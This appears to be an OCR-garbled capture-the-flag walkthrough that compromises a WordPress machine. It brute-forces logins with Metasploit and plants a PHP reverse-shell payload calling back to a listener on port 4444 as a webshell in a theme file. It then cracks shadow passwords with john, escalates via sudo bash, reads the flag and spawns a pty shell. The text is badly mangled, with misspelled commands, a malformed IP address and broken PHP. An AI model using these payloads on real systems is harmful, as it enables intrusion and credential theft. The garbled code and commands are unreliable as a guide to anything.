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[S5Metasploit -> msfconsole

msf > use auxiliary /scanner /http /wordpress_login_enum

msf auxiliary(wordpress_login_enum) > set username admin

msf auxiliaky(wordpress_login_enum) > set pass_file /usr/share/wordlists /dirb/common.txt
msf auxiliary(wordpress_login_enum) > set targeturi /secret/

msf auxiliary(wordpress_login_enum) > set rhosts 192.1468.1.13

msf auxiliary(wordpress_login_enum) > run
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sfupdate
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No platfor ir M e Natfc > from yloac
No Arch se
No encode or badchar
Payload size: 1115 byte
a<7php /**/ error reporting(@); $ip = '192.168.253.12'; $port = 4444; if (($f = 'stream socket client') && is callable($f)) { $s = $f("tcp: //(sip
}:{$port}"); $s type = 'stream'; } if (!$s && ($f = 'fsockopen') && is callable($f)) { $5 = $f($ip, $port); $s type = 'stream’'; } if (!$s && ($f

'socket create’) &% is callable($f)) { $s = $f(AF_INET, SOCK STREAM, SOL TCP); $res = @socket connect($s, $ip, $port); if (!Sres) { die(); } $s_t
pe = 'socket'; } if (!$s _type) { die('no socket funcs'); } if (!$s) { die('no socket'): switch ($s type) { case 'stream': $len = fread($s, 4);
break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } %$a [e] 2 ", $len); $len = $a['len']; $b = ""'; while (strle
n($b) < $len) { switch ($s type) { case 'stream': $b .= fread($s, $len-strlen($b)); 'socket': $b .= socket_read($s, Slen-strlen($b));
break. } } $GLOBALS['msgsock'] = $s; sGLOBALSI‘msgsock type'] = $s_type; if (extens HESEES. uhosin') && ini get('suhosin.executor.disable eval

*)) $Suh051n bypass=create function('', $b); $suhosin bypass();

B Show Menubar

KEMERREBIZEES.

wordpress EaIHLER

-- twentyteeth 89404.php oL _E{&Ewebshell



http://ip

HiTshell, TREUZ5%shell,
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unshadow passwd shadow > cracked
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john cracked
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sucio -l
sudo bash
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cat flag
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&5 JA 3 python -c "import pty;pty.spawe('/bin/bash')"
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